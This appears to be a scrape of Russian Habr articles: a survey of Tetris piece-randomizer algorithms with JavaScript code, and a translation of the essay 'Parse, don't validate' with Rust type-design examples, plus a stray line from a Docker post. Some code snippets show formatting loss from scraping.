**Уважаемые читатели!** Если вы работаете с Docker, то у вас, наверняка, есть собственный список часто используемых команд. Если это так — просим вас этим списком поделиться.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/440660/ | null | ru | null |
# История алгоритмов рандомизации «Тетриса»
В 1985 году Алексей Пажитнов и Вадим Герасимов выпустили в свет Tetris. Эта увлекательная и вызывающая сильное привыкание игра требовала от игроков соединять фигуры, появлявшиеся в *случайном* порядке. С того времени было выпущено более 150 лицензионных версий «Тетриса». Отличаясь игровыми режимами, правилами и реализацией, все они игрались слегка (или очень) по-разному. Рандомизатор «Тетриса» — это функция, возвращающая случайно выбранную фигуру. На протяжении многих лет правила выбора фигур эволюционировали, оказывая влияние на геймплей и саму случайность. Некоторые из этих алгоритмов были подвергнуты реверс-инжинирингу и задокументированы. Я составил список рандомизаторов, которые считаю важными, и покажу в статье, как с годами менялось внутреннее устройство «Тетриса».
*Tetris* (прибл. 1985 год)
--------------------------
Первая и оригинальная версия «Тетриса» имела рандомизатор без смещения. На выбор следующей фигуры ничто не влияло, она просто выбиралась и показывалась игроку.
При использовании рандомизатора без смещения возникают ситуации, в которых игрок получает последовательность из одной фигуры (называемую «потопом», flood) или последовательность, в которой отсутствует определённая фигура (называемую «засухой», drought). Мы увидим, как дизайнеры разных версий «Тетриса» пытались слегка сгладить эту проблему.
Хотя рандомизатор без смещения создаёт для игроков самую большую сложность головоломок, он нестабилен и может привести к [непобедимой последовательности (PDF)](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.55.8562&rep=rep1&type=pdf). Однако в реальной игре такого не случается, потому что в компьютерах нет генераторов истинных случайных чисел. Генераторы псевдослучайных чисел (ГПСЧ) пытаются имитировать истинную случайность, но не имеют свойств, способных сгенерировать подряд 70 тысяч фигур Z.
### Истинная псевдослучайность
```
function* random() {
const pieces = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
while (true) {
yield pieces[Math.floor(Math.random() * pieces.length)];
}
}
```
Сложность головоломки: 4/5
Предотвращение потопов: 0/5
Предотвращение засух: 0/5
*Tetris*, Nintendo (1989 год)
-----------------------------
Четыре года спустя была выпущена ставшая необычно популярной версия «Тетриса» для [NES](https://en.wikipedia.org/wiki/Nintendo_Entertainment_System).
Чтобы снизить количество потопов (повторения) фигур, в рандомизатор была добавлена проверка истории. Эта простая проверка делала следующее:
1. выбирала фигуру,
2. проверяла, совпадает ли фигура с предыдущей,
3. если да, то алгоритм выбирал новую фигуру, но только один раз,
4. и каким бы ни был результат, фигура отдавалась игроку.
Хотя вероятность получения одной фигуры подряд снижалась, ничто не мешало игре выдавать две попеременно меняющиеся фигуры. Кроме того, в этой версии частой ситуацией была засуха на протяжении более чем 30 фигур. Засуха могла возникать для любого типа тетрамино, но для набора очков в этой игре важна фигура I, и её большая засуха могла существенно повлиять на окончательный счёт.
### Запоминание истории на 1 фигуру вглубь и с 1 броском
```
function* historyRandomizer() {
const pieces = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
let history;
while (true) {
// First "roll"
piece = pieces[Math.floor(Math.random() * pieces.length)];
// Roll is checked against the history
if (piece === history) {
piece = pieces[Math.floor(Math.random() * pieces.length)];
}
history = piece;
yield piece;
}
}
```
Сложность головоломки: 5/5
Предотвращение потопов: 2/5
Предотвращение засух: 0/5
*Tetris: The Grand Master* (1998 год)
-------------------------------------
Хоть *Tetris для NES* и улучшил алгоритм по сравнению с рандомизацией без смещения, засухи в нём по-прежнему были часты. В *Tetris: The Grand Master* (*TGM*) по сути использовалась та же система, но с более долгой историей и бОльшим количеством бросков.
Благодаря увеличению этих значений не только снизилось количество потопов, но улучшилась ситуация с засухами. В истории сохранялись четыре фигуры, а это значило, что повышалась вероятность получить фигуру, которой уже давно не было. Несмотря на это, в игре по-прежнему отсутствовало строгое правило для предотвращения засух и они всё равно возникали, хоть и намного реже, чем в *Tetris для NES*.
### Запоминание истории на 4 фигуры и с 4 бросками
```
function* historyRandomizer() {
const pieces = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
// First piece special conditions
let piece = ['I', 'J', 'L', 'T'][Math.floor(Math.random() * 4)];
yield piece;
let history = ['S', 'Z', 'S', piece];
while (true) {
for (let roll = 0; roll < 4; ++roll) {
piece = pieces[Math.floor(Math.random() * 7)];
if (history.includes(piece) === false) break;
}
history.shift();
history.push(piece);
yield piece;
}
}
```
Сложность головоломки: 4/5
Предотвращение потопов: 4/5
Предотвращение засух: 2/5
*Tetris Worlds* и далее (2001 год)
----------------------------------
*Tetris Worlds* познакомил широкие массы с генератором случайности. Сейчас он является официальным рандомайзером, в большинстве официальных версий игры после *Tetris Worlds* и по сей день используется он.
Рандомизаторы на основе истории помогали избавиться от потопов (или, по крайней мере, минимизировать их), но не останавливали засухи. В определённых условиях по-прежнему существовала вероятность получения смертоносной последовательности фигур.
Генератор случайности (Random Generator) решает эти проблемы благодаря использованию новой системы «мешков» (bags). В этой системе список фигур помещается в «мешок», после чего фигуры одна за другой случайным образом извлекаются из него, пока «мешок» не опустеет. Когда он опустеет, фигуры возвращаются в него и процесс повторяется. Random Generator имеет «мешок» размером 7 (7-bag), то есть «мешок» заполненный каждой из 7 тетрамино. Возможны и другие типы «мешков», например 14-bag, в который кладутся по две фигуры каждого типа тетрамино.
Из-за отсутствия у «мешков» истории на их стыках могут возникать потопы длительностью 2 фигуры и «змейки» из 4 фигур (,  и т.п.). То есть в каком-то смысле это шаг назад по сравнению с традиционным *Tetris для NES*.
Фигуры выпадают из 7-bag стабильно, из-за чего он более предсказуем. Легко понять, в какой части «мешка» вы находитесь, и когда может прийти нужная вам фигура. Из-за предсказуемости этого генератора случайности в игру на самом деле можно [играть бесконечно](https://harddrop.com/wiki/Playing_forever). В целом это очень глупая система, и непонятно, как она вообще стала официальным рандомизатором.
### 7-bag
```
function* randomGenerator() {
let bag = [];
while (true) {
if (bag.length === 0) {
bag = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
bag = shuffle(bag);
}
yield bag.pop();
}
}
```
Сложность головоломки: 3/5
Предотвращение потопов: 3/5
Предотвращение засух: 4/5
*Tetris: The Grand Master 3 — Terror-Instinct* (2005 год)
---------------------------------------------------------
TGM3 сильно продвинула вперёд идею генерации случайности. Это уникальная система, не встречавшаяся ни в одной другой версии.
Вместо «мешка» или истории в TGM3 используется пул фигур. Изначально в нём по 5 фигур каждого типа, то есть всего 35 фигур. При вытягивании фигуры она не удаляется из пула, а заменяется фигурой с самой большой засухой (той, которую давно не вынимали). Постепенно пул всё больше заполняется этой фигурой, пока она наконец не будет вытащена. Это решает проблемы систем «мешков», а также систем с историей; она берёт лучшее от обоих типов рандомизации.
### Пул из 35 фигур с 6 бросками
```
function* tgm3Randomizer() {
let pieces = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
let order = [];
// Create 35 pool.
let pool = pieces.concat(pieces, pieces, pieces, pieces);
// First piece special conditions
const firstPiece = ['I', 'J', 'L', 'T'][Math.floor(Math.random() * 4)];
yield firstPiece;
let history = ['S', 'Z', 'S', firstPiece];
while (true) {
let roll;
let i;
let piece;
// Roll For piece
for (roll = 0; roll < 6; ++roll) {
i = Math.floor(Math.random() * 35);
piece = pool[i];
if (history.includes(piece) === false || roll === 5) {
break;
}
if (order.length) pool[i] = order[0];
}
// Update piece order
if (order.includes(piece)) {
order.splice(order.indexOf(piece), 1);
}
order.push(piece);
pool[i] = order[0];
// Update history
history.shift();
history[3] = piece;
yield piece;
}
}
```
Сложность головоломки: 4/5
Предотвращение потопов: 4/5
Предотвращение засух: 4/5
Выводы
------
Сложно подвести какой-то определённый итог. Рандомизатор TGM3 кажется более предсказуемым и менее сложным для игрока. Неуклюжий 7-bag ощущается неестественным, но позволяет создавать множество стабильно жизнеспособных стратегий строительства. Недружелюбный рандомайзер, как, например в Tetris для NES, может испортить вам игру, или, что вероятнее, настроение играть.
Можем ли мы улучшить эти системы, делая их кажущимися более случайными, и накладывая жёсткие ограничения на засухи и потопы? Или такие жёсткие ограничения просто делают игру более предсказуемой? | https://habr.com/ru/post/466579/ | null | ru | null |
# Парсите, а не валидируйте
Еще в декабре мне попалась одна совершенно замечательная статья на английском, посвящённая использованию системы типов языка для более широкого класса задач, для повышения надежности приложений и простоты рефакторинга. К сожалению, в тот момент я был слишком занят написанием статей по ФП, которые крайне важно было написать, пока свежи воспоминания. Но теперь, когда с этой задачей я справился, наконец дошли руки перевести эту замечательную заметку. Оригинальный язык примеров — Хаскель, но я решил переписать их на раст, для более широкого охвата аудитории. Однако язык тут совершенно неважен, советы этой статьи я применяю в ежедневной разработке на вполне себе "приземлённых" C# и TypeScript, так что если вы просто стараетесь писать надёжный и поддерживаемый код, то, вне зависимости от языка, статья вам будет в тему.
Благодарю за вычитку и помощь в переводе [Hirrolot](https://habr.com/ru/users/hirrolot/), [funkill](https://habr.com/ru/users/funkill/) и [andreevlex](https://habr.com/ru/users/andreevlex/)
На протяжении достаточно длительного периода времени я изо всех сил старалась найти точный, простой способ объяснить, что такое "Type-Driven Design" (*здесь и далее — TypeDD, прим. пер.*). Довольно часто меня спрашивали "Как ты додумалась до такого решения?", но удовлетворительного ответа у меня не было. Я точно знаю, что оно не пришло ко мне как видение: у меня был итеративный процесс проектирования, не обязывающий сию минуту из ничего получить "правильную" архитектуру, но до сих пор мне не особо удавалось истолковать этот процесс другим.
Но месяц назад случился поворотный момент: [я рассуждала в Твиттере](https://twitter.com/lexi_lambda/status/1182242561655746560) о различии парсинга JSON в статически и динамически типизированных языках, и наконец я нашла то, что искала. Теперь у меня есть единственный, цепкий слоган, являющийся квинтэссенцией того, чем для меня является TypeDD, и, что ещё лучше, состоящий всего из нескольких слов:
**Парсите, а не валидируйте.**
Суть TypeDD
===========
Ладно, признаю: если вы ещё не в курсе про TypeDD, мой хитроумный слоган, скорее всего, ничего вам не скажет. К счастью, именно для этого и написана вся остальная статья. Я собираюсь объяснить, что я имею в виду, во всех подробностях, но сначала давайте немного пофантазируем.
Ландшафт возможностей
---------------------
Одна из самых замечательных вещей в статической типизации заключается в том, что она позволяет, а иногда и с лёгкостью, ответить на вопросы вроде "А возможно ли вообще написать такую функцию?". Для контрастного примера давайте посмотрим на такую сигнатуру:
```
enum Void {}
fn foo(x: i32) -> Void
```
Возможно ли реализовать данную функцию? Очевидно, ответ на этот вопрос — *нет*, т.к. `Void` — это тип с нулём возможных значений, поэтому невозможно написать *ни одной* функции, возвращающей значение типа `Void`. Этот пример довольно скучный, но вопрос становится куда интереснее, если мы посмотрим на более реалистичную ситуацию:
```
fn head(xs: Vec) -> T
```
Эта функция возвращает первый элемент списка. Возможно ли её реализовать? Да, сперва это не выглядит чем-то сложным, но если мы попробуем её выразить, то компилятор будет недоволен:
```
fn head(xs: Vec) -> T {
match xs.as\_slice() {
[x, ..] => \*x
}
}
```
```
error[E0004]: non-exhaustive patterns: `&[]` not covered
--> src/lib.rs:2:11
|
2 | match xs.as_slice() {
| ^^^^^^^^^^^^^ pattern `&[]` not covered
|
```
Компилятор нам заботливо сообщает, что данная функция *частичная*, что означает, что она не определена для всех возможных значений параметров. В частности, она не определена для случая, когда параметром является `[]`, пустой список. И это совершенно разумно, т.к. невозможно вернуть первый элемент списка, если список пустой, ведь в нём нет ни одного элемента, чтобы его можно было вернуть! Таким образом, как ни удивительно, мы узнали, что эту функцию тоже невозможно реализовать (*не прибегая к хакам вроде паник и эксепшнов, прим. пер.*).
Делаем частичные функции тотальными
-----------------------------------
Для людей с опытом динамически-типизированных языков такой вывод может показаться довольно неожиданным. У нас есть список, и мы имеем полное право хотеть получить из него первый элемент. И конечно же, операция "получить первый элемент списка" не является невозможной в статически-типизированных языках, она просто требует небольшого количества церемоний. Существует два способа исправить функцию `head`, и мы начнём с того, который попроще.
### Управление ожиданиями
Как мы уже убедились, функция `head` является частичной, т.к. невозможно вернуть элемент из пустого списка: мы делаем обещание, которое невозможно соблюсти. К счастью, существует простое решение этой дилеммы: ослабить наше обещание. Исходя из того, что мы не можем гарантировать, что в списке будет элемент, подлежащий возврату, нам следует немного повлиять на ожидания вызывающего кода: мы сделаем всё возможное, чтобы вернуть элемент, в то же время оставляя за собой право ничего не вернуть. В Rust мы выражаем эту возможность при помощи типа `Option`:
```
fn head(xs: Vec) -> Option
```
Это даёт достаточно свободы, чтобы реализовать функцию `head` — позволяя вернуть `None`, когда мы понимаем, что не можем вернуть никакого значения типа `T`:
```
fn head(xs: Vec) -> Option {
match xs.as\_slice() {
[x, ..] => Some(\*x),
[] => None,
}
}
```
Проблема решена, так? Ну, на текущий момент — да… Однако это решение имеет неявную цену.
Возвращение `Option`, несомненно, удобно, когда мы *реализуем* `head`. Однако значительно менее удобно становится её использовать. Так как `head` всегда может вернуть `None`, на весь вызывающий код накладывается бремя проверок этого варианта, и иногда такой перевод стрелок очень напрягает. Чтобы понять почему, давайте посмотрим на такой код:
```
fn get_configuration_directories() -> Result, &'static str> {
let config\_dirs\_string = std::env::var("CONFIG\_DIRS").map\_err(|\_| "cannot read env")?;
let list: Vec<\_> = config\_dirs\_string.split(',').map(|x| x.to\_string()).collect();
if list.is\_empty() {
return Err("CONFIG\_DIRS cannot be empty");
}
Ok(list)
}
fn main() -> Result<(), &'static str> {
let config\_dirs = get\_configuration\_directories()?;
match head(config\_dirs) {
Some(cacheDir) => initialize\_cache(cacheDir),
None => panic!("should never happen; already checked config\_dirs is non-empty")
}
Ok(())
}
```
Когда функция `get_configuration_directories` получает список путей из окружения, она сразу проверяет что список непустой. Однако когда мы используем `head` в `main`, чтобы получить первый элемент списка, результат типа `Option<&str>` требует от нас проверки случая `None`, который, как мы знаем, никогда не произойдёт! Это чрезвычайно плохо по многим причинам:
1. Во-первых, это просто утомительно. Мы уже знаем, что список непустой, почему мы должны замусоривать код дополнительными ненужными проверками?
2. Во-вторых, оно имеет потенциальные последствия с точки зрения производительности. И хотя стоимость лишней проверки совсем незначительна в данном конкретном случае, легко можно придумать более сложный сценарий, при котором ненужные проверки будут накладываться друг на друга, как, например, в случае если они производятся в маленьком цикле с большим количеством итераций.
3. Наконец, и что хуже всего, в этом коде затаился баг. Что, если `get_configuration_directories` изменят так, что она перестанет проверять список на пустоту, и не важно, случайно или специально? Программист может и не помнить, что нужно обновить `main`, и внезапно "невозможная" ошибка станет не просто возможной, а очень даже вероятной.
Необходимость этой лишней проверки по сути принуждает нас оставить дыру в нашей системе типов. Если бы мы могли статически *доказать* что случай `None` невозможен, то описанное изменение `get_configuration_directories` перестало бы проходить проверку и вызвало ошибку компиляции.
Однако в том виде как оно сейчас написано, чтобы найти этот баг, мы должны писать тесты или проводить ручную инспекцию кода.
### Платим вперёд
Понятно, что наша модифицированная версия функции `head` работает не совсем так, как нам хотелось бы. Мы хотели бы, чтобы она каким-то образом была умнее: если мы уже проверили, что список не пуст, `head` должен безусловно вернуть первый элемент, не принуждая нас обрабатывать случай, про который мы точно знаем, что он невозможен. Как бы нам это сделать?
Давайте посмотрим на изначальную (частичную) сигнатуру `head` ещё раз.
```
fn head(xs: Vec) -> T
```
В предыдущем разделе мы превратили частичную сигнатуру в тотальную, ослабив требования к возвращаемому типу. Но раз нам это не подходит, у нас остаётся лишь одна вещь, которую мы можем поменять: тип аргумента (в нашем случае — `Vec`). Вместо ослабления возвращаемого типа мы можем *усилить* тип аргумента, устранив саму возможность вызова `head` на пустом списке.
Чтобы это сделать, нам нужен тип, представляющий непустые списки.
К счастью, такой тип `NonEmptyVec` несложно написать. У него будет следующее определение:
```
struct NonEmptyVec(T, Vec);
```
Заметьте, что `NonEmptyVec` — всего лишь пара из значения типа `T` и обычного (возможно, пустого) `Vec`. Такая структура удобно моделирует непустой список путём сохранения первого элемента отдельно от хвоста, ведь даже если второй компонент `Vec` представляет собой `[]`, то первый компонент всегда должен присутствовать. Благодаря этому, реализация функции `head` становится совершенно тривиальной:
```
fn head(xs: NonEmptyVec) -> T {
xs.0
}
```
Компилятор, в отличие от предыдущей попытки, принимает такое определение без единого возражения, ведь оно *тотальное*, не частичное. Мы можем обновить нашу программу чтобы использовать новую реализацию:
```
fn get_configuration_directories() -> Result, &'static str> {
let config\_dirs\_string = std::env::var("CONFIG\_DIRS").map\_err(|\_| "cannot read env")?;
let list: Vec<\_> = config\_dirs\_string.split(',').map(|x| x.to\_string()).collect();
match non\_empty(list) {
Some(x) => Ok(x),
None => Err("CONFIG\_DIRS cannot be empty")
}
}
fn main() -> Result<(), &'static str> {
let config\_dirs = get\_configuration\_directories()?;
initialize\_cache(head(config\_dirs));
Ok(())
}
```
Заметьте, что лишняя проверка в `main` полностью исчезла! Вместо этого мы производим проверку ровно один раз, в функции `get_configuration_directories`. Она конструирует `NonEmptyVec` из `Vec` с помощью функции `non_empty`, имеющую следующую сигнатуру:
```
fn non_empty(list: Vec) -> Option>
```
Обратите внимание, что `Option` никуда не делся, однако в этот раз мы обрабатываем случай `None` в самом начале программы: в том месте где мы и раньше делали валидацию. Когда проверка пройдена, мы получаем значение типа `NonEmptyVec`, которое сохраняет (на уровне типов!) тот факт, что список на самом деле не пуст. Другими словами, значение типа `NonEmptyVec` эквивалентно значению типа `Vec` плюс *доказательству*, что список не пуст.
Усилив тип аргумента функции `head` вместо того чтобы ослабить тип результата, мы полностью избавились от всех проблем из предыдущего раздела:
* В коде отсутствуют лишние проверки, поэтому нет и никакого оверхеда по производительности.
* Более того, если функция `get_configuration_directories` перестанет проверять список на пустоту, то её результирующий тип тоже поменяется. Следовательно, функция `main` не сможет тайпчекнуться, сообщая о проблеме до того как мы вообще запустили программу!
Более того, мы можем тривиально восстановить старое поведение функции `head` с помощью новой версии, композируя её с `non_empty`:
```
fn old_head(xs: Vec) -> Option {
non\_empty(xs).map(head)
}
```
Обратите внимание, что обратное *неверно*: не существует способа получить новую версию функции `head` из старой. Таким образом, второй подход превосходит первый по всем параметрам.
Сила парсинга
-------------
Но какое это всё имеет отношение к заголовку статьи? В конце концов, мы просто изучили два разных способа проверить список на пустоту — и, на первый взгляд, тут нет никакого парсинга. Такая интерпретация тоже верна, однако я предлагаю посмотреть на это с другой стороны: с моей точки зрения, вся разница между валидацией и парсингом полностью состоит в том, как сохраняется информация об этом процессе. Давайте сравним две такие функции:
```
fn validate_non_empty(xs: Vec) -> Result<(), UserError> {
if !xs.is\_empty() {
Ok(())
} else {
Err(UserError::new("list cannot be empty"))
}
}
fn parse\_non\_empty(mut xs: Vec) -> Result, UserError> {
if !xs.is\_empty() {
let head = xs.remove(0);
Ok(NonEmptyVec(head, xs))
} else {
Err(UserError::new("list cannot be empty"))
}
}
```
Эти две функции практически идентичны: они проверяют переданный список на пустоту, и если он пустой, то они возвращают сообщение об ошибке. Вся разница заключается в возвращаемом значении: `validate_non_empty` всегда возвращает `()`, тип, который не содержит никакой информации, а `parse_non_empty` возвращает `NonEmptyVec`, уточнение входного типа, которое сохраняет полученное знание в системе типов. Обе функции проверяют одно и то же, но `parse_non_empty` даёт вызывающему коду доступ к полученной информации, а `validate_non_empty` просто выкидывает её.
Эти две функции элегантно иллюстрируют два различных взгляда на роль системы типов: `validate_non_empty` просто подчиняется тайпчекеру, но только `parse_non_empty` полностью использует те преимущества, которые он даёт. Если вы видите, почему функция `parse_non_empty` предпочтительнее, то вы должны уже понимать, что означает мантра "парсите, а не валидируйте". Однако возможно вы скептически относитесь к имени `parse_non_empty`. Действительно ли она что-то *парсит*, или она просто валидирует вход и возвращает результат? И, хотя точное определение того, что означает парсинг или валидация, является предметом для обсуждения, я считаю что `parse_non_empty` это полноценный парсер, пусть и очень простой.
Подумайте: что такое парсер? В действительности, парсер это всего лишь функция, которая принимает менее структурированный вход, и производит более структурированный выход. По самой своей сути, парсер это частичная функция — некоторые значения домена не соответствуют ни одному допустимому значению — таким образом, все парсеры должны иметь какое-то представление об ошибке. Зачастую, входом парсера является текст, но это ни коим образом не является обязательным требованием, и наш `parse_non_empty` это совершенно законный парсер: он парсит списки в непустые списки, сигнализируя о неудаче сообщением с текстом ошибки.
По такому определению парсеры являются невероятно мощными инструментами: они позволяют производить проверки заранее, прямо на границе приложения и внешнего мира, и как только эти проверки пройдены, их не надо совершать снова! Rust разработчики знают об этой мощи, и они используют множество различных парсеров на постоянной основе:
* Библиотека [serde\_json](https://github.com/serde-rs/json) предоставляет функцию `from_str` которая позволяет парсить данные в формате JSON в доменные типы
* Подобным образом [clap](https://github.com/clap-rs/clap) предоставляет набор парсер-комбинаторов для разбора аргументов командной строки
* Библиотеки вроде [diesel](https://github.com/diesel-rs/diesel) предоставляют механизм для парсинга значений, хранящихся во внешних хранилищах.
* Экосистема [actix-web](https://github.com/actix/actix-web) построена вокруг парсинга Rust типов из компонентов пути, строк запроса, HTTP заголовков и так далее.
Все эти библиотеки объединяет одно: они располагаются на границе между вашим приложением и внешним миром. Этот мир не общается в терминах типов-произведений и типов-сумм, он использует потоки байт, поэтому без парсинга тут не обойтись. И, совершая этот парсинг заранее, до того, как мы начинаем работать с этими данными, мы исключаем множество багов, часть из которых могут быть даже серьёзными уязвимостями.
У этого подхода, правда, есть один недостаток: иногда значения необходимо парсить задолго до того, как они действительно понадобятся. Но есть и плюсы: в динамически-типизированных языках поддерживать в соответствии парсинг и бизнес логику довольно трудно без обширного покрытия тестами, многие из которых утомительно поддерживать. При этом в статической системе типов проблема становится удивительно простой, как показано на примере `NonEmpty` выше: если парсинг и бизнес логика рассинхронизируются, то программа просто не скомпилируется.
Опасность валидации
-------------------
Надеюсь, к этому моменту вы хотя бы немного убедились, что парсинг предпочтительнее валидации, но у вас могут остаться смутные сомнения. Так ли плоха валидация, если система типов всё равно заставит вас расставить необходимые проверки? Возможно, сообщения об ошибках будут похуже, но в целом пара лишних проверок не сильно повредит, правда?
К сожалению, всё не так просто. Ad-hoc валидация ведёт к феномену, который [специалисты в области теоретико-языковой безопасности](http://langsec.org/) называют *парсинг наугад*. В статье 2016 года под названием [The Seven Turrets of Babel: A Taxonomy of LangSec Errors and How to Expunge Them](http://langsec.org/papers/langsec-cwes-secdev2016.pdf) авторы приводят следующее определение:
> Парсинг наугад — это антипаттерн, в котором код, выполняющий парсинг и валидацию, перемешан с бизнес логикой; Разработчики пишут пачки проверок на входные аргументы, в надежде (без какого-либо формального обоснования), что так или иначе эти проверки поймают все "плохие" случаи.
Затем они объясняют проблемы, внутренне присущие подобной валидационной технике:
> Парсинг наугад неизбежно лишает программу возможности отвергнуть некорректные данные вместо того, чтобы их обрабатывать. Обнаруженные на поздних стадиях ошибки в переданных данных приводят к тому, что какая-то их часть уже оказывается обработанной, в результате чего итоговое состояние программы тяжело предугадать.
Другими словами, программа, которая не парсит заранее все необходимые ей данные, рискует обработать часть данных, затем обнаружить ошибку в другой части, и внезапно оказаться в ситуации, когда нужно откатить уже произведённые изменения, чтобы сохранить консистентность. Иногда — например, при работе с РСУБД, это возможно, но в общем случае — нет.
С первого взгляда может быть не очень понятно, какое отношение парсинг наугад имеет к валидации — в конце концов, если сделать всю валидацию заранее, то можно избежать риска парсинга наугад. Проблема в том, что валидационный подход делает невероятно сложным, или даже, невозможным, определение действительно ли всё было проверено заранее или некоторые так называемые "невозможные" ситуации могут действительно возникнуть. Все места в программе обязаны предполагать, что возникновение исключения в любом месте не просто возможно, но зачастую необходимо.
Парсинг избегает этой проблемы, разделяя программу на две фазы: фазу парсинга и фазу исполнения, где ошибка, связанная с неверными входными данными, может произойти только в первой фазе. Множество оставшихся возможных ошибок намного меньше относительно ошибок во входных данных, и они могут быть обработаны с должным вниманием.
Парсим, а не валидируем, на практике
====================================
До сих пор, весь текст был больше похож на рекламный слоган. Он говорит "Ты, дорогой читатель, должен парсить!", и, если я хорошо выполняю свою работу, то по крайней мере часть читателей должна со мной согласиться. Но даже если вы понимаете "что" и "почему", вы можете быть не до конца уверены насчёт "как".
Мой совет: фокусируйтесь на типах данных.
Предположим, вы пишете функцию, принимающую список пар ключей и значений, и вы не уверены в том, что делать в случае, если где-то в этом списке есть дубликаты по ключу. Одно из решений — написать функцию, которая проверит, что в списке нет никаких дубликатов:
```
fn check_no_duplicate_keys(xs: &[(K,V)]) { ... }
```
Но есть одно "но" — эта проверка очень хрупкая: её чрезвычайно легко забыть. Из-за того, что результат функции не используется, её вызов всегда можно убрать, и полагающийся на неё код продолжит компилироваться. Лучшим решением было бы выбрать структуру данных, запрещающую дубликаты ключей по построению, например, `HashMap`. Измените сигнатуру вашей функции так, чтобы она принимала `HashMap` вместо списка пар, и реализуйте её так, как вы собирались.
После того, как вы это сделаете, место вызова этой функции, скорее всего, не скомпилируется, потому что в качестве аргумента ей всё ещё передаётся список пар. Если этот список передаётся в качестве одного из аргументов или если он получен как результат вызова какой-то другой функции, вам нужно продолжать заменять список на `HashMap` по всей цепочке вызовов. В конце концов вы либо достигнете точки, где это значение создаётся, либо найдёте место, где дубликаты должны быть разрешены. В этом месте вы должны вставить модифицированную версию `check_no_duplicate_keys`:
```
fn check_no_duplicate_keys(xs: &[(K,V)]) -> HashMap { ... }
```
И теперь проверка *не может* быть удалена, потому что результат функции необходим для продолжения работы программы!
В этом гипотетическом сценарии видны две простые идеи:
1. **Используйте структуры данных, которые делают некорректные состояния невозможными.** Моделируйте ваши данные, используя наиболее точные структуры данных. Если искоренение некоторой возможности слишком сложно с помощью текущего представления, попробуйте использовать другое, которое позволяет более просто описать желаемые свойства. Не бойтесь рефакторить
2. **Выносите бремя проверок как можно выше, но не дальше.** Переведите ваши данные в наиболее точное представление так рано, как это возможно. В идеале, это должно происходить на границе вашей системы, до того, как *любые* данные начали обрабатываться.
Если более точное представление данных нужно только в одной конкретной ветке кода, то парсите данные как только эта ветвь была взята. Используйте тип-суммы с умом, чтобы ваши типы данных отражали возможные результаты выполнения кода.
Другими словами, пишите функции с типами данными, которые вы *хотели бы* иметь, а не те, которые у вас есть. Процесс проектирования тогда становится упражнением в устранении этого различия, над которым часто нужно работать с обоих концов, пока вы не сойдётесь на каком-то компромиссном решении. Не бойтесь итеративно изменять части программы, ведь в итоге в процессе рефакторинга вы можете даже узнать что-то новое!
Вот несколько дополнительных советов, расположенных в произвольном порядке:
* **Позвольте вашим типам данных информировать ваш код, не позволяйте коду контролировать типы данных.** Боритесь с искушением запихнуть `bool` в структуру потому что он нужен в функции, которую вы пишете (*На эту тему очень рекомендую к прочтению статью [**Булева слепота**](https://existentialtype.wordpress.com/2011/03/15/boolean-blindness/), и [**небольшое замечание к ней**](http://www.hxa.name/notes/note-hxa7241-20131124T0927Z.html), прим. пер.*). Не бойтесь рефакторить код, чтобы использовать более правильное представление данных — система типов удостоверится, что вы учли все места, которые требуют изменения, и это спасёт вас от головной боли в дальнейшем
* **Относитесь к функциям без возвращаемого результата или с типом `Result<(), Error>` с большим подозрением.** Иногда они совершенно необходимы, потому что они могут производить императивный эффект без какого-либо разумного результата, но если единственная цель такой функции это вызвать ошибку, скорее всего есть лучший путь.
* **Не бойтесь парсить данные в несколько этапов.** Избегание парсинга наугад всего лишь означает, что вы не должны работать с выходными данными до того, как полностью их распарсите, а не то, что вы не можете использовать часть входных данных, чтобы решить, как парсить остальное. Множество полезных парсеров — контекстно-зависимы.
* **Избегайте денормализованного представления данных, *особенно*, если они изменяемые** Дублирование одних и тех же данных в множестве мест позволяет элементарно привести систему в некорректное состояние: данные в разных местах могут рассинхронизироваться. Стремитесь к единственному источнику истины
+ **Держите денормализованные данные за границей абстракций.** Если денормализованное состояние абсолютно необходимо, используйте инкапсуляцию, чтобы существовал только небольшой доверенный модуль, единственная роль которого заключается в поддержании данных в синхронизированном состоянии.
* **Используйте абстрактные типы данных, чтобы ваши валидаторы "выглядели как" парсеры.** Иногда, сделать данные действительно непредставимыми совершенно непрактично, учитывая возможности которые даёт ваш язык программирования, например, проверка, что число попадает в некоторый диапазон. В этом случае используйте `декоратор (newtype)` с умным конструктором, чтобы сделать псевдо-парсер из валидатора.
Как обычно, используйте здравый смысл. Иногда просто не стоит ломать весь код и переписывать всё приложение, чтобы избежать единственного потенциального `error "impossible"` где-то в коде — просто не забывайте относиться к таким местам как к радиоактивной субстанции, которой они и являются, и обходитесь с ними со всей необходимой аккуратностью. В самом крайнем случае оставьте хотя бы комментарий, чтобы задокументировать инварианты для тех, кто в будущем будет модифицировать этот код.
Резюме
======
Вот и всё, в общем-то. Надеюсь, эта статья об использовании преимуществ системы типов не требует докторской степени для понимания, и даже не требует последних и крутейших фишек из более мощных систем типов — хотя иногда они могут сильно помочь! Иногда наибольшим препятствием для использования системы типов на полную катушку является простое незнание, что это возможно.
Ни одна из идей этой статьи не нова. На самом деле, основная идея — "пишите тотальные функции" — концептуально очень проста. Несмотря на это, удивительно сложно придумать практичные, понятные объяснения того, как я пишу код в таком стиле. Можно легко потратить кучу времени, разговаривая об абстрактных концепциях — многие из которых очень ценны! — не сообщив ничего полезного о *процессе*. Я надеюсь, что эта статья — это небольшой шажок в этом направлении.
К сожалению, я знаю не так много ресурсов на эту тему, но я знаю одно: я никогда не стесняюсь порекомендовать классную статью Мэта Парсона [Type Safety Back and Forth](https://www.parsonsmatt.org/2017/10/11/type_safety_back_and_forth.html). Если вам нужна ещё одна доступная статью на тему этих идей, то я крайне рекомендую прочитать её. Для намного более серьёзного погружения в эти идеи я могу порекомендовать работу Мэта Нунана [Ghosts of Departed Proofs](https://kataskeue.com/gdp.pdf), в которой изложены некоторые более продвинутые техники по выражению более сложных инвариантов, нежели чем те, что я привела в статье.
